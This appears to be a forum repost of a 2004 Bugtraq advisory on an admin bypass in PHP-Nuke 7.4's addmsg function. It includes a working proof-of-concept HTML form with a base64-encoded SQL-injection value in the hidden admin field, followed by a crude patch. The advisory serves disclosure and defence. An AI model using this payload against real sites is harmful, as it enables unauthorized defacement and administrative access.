Php-nuke 7.4 Addmsg Bug

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qcred11

Sep 7 2004, 06:56 PM

QUOTE

**************************************************************
* CODEBUG Labs
* Advisory #4
* Title: Addmsg Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
**************************************************************

Add Message Bug

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to post gloabal home-page messages.
We can bypass the official php-nuke patch sending data
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
<p>TITLE:
<input type="text" name="add_title">
<br>
CONTENT:
<textarea name="add_content" rows=10 cols=50></textarea>
<br>
DATE:
<input type="text" name="add_mdate">
<br>
E-MAIL:
<input type="text" name="add_expire">
<br>
<input type="hidden" name="add_expire" value="0">
<br>
<input type="hidden" name="add_active" value="1">
<br>
<input type="hidden" name="add_view" value="1">
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="addmsg">
</p>
<p>
<input type="submit" name="Submit" value="Post this message">
<br>
</p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

-) Note
Previous patch isn't enough performant.
Try this one.
There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[admin] and $_GET[admin].
I'm going to post all this vulnerabilities on my site...
http://www.mantralab.org

Source: http://seclists.org/lists/bugtraq/2004/Sep/0064.html

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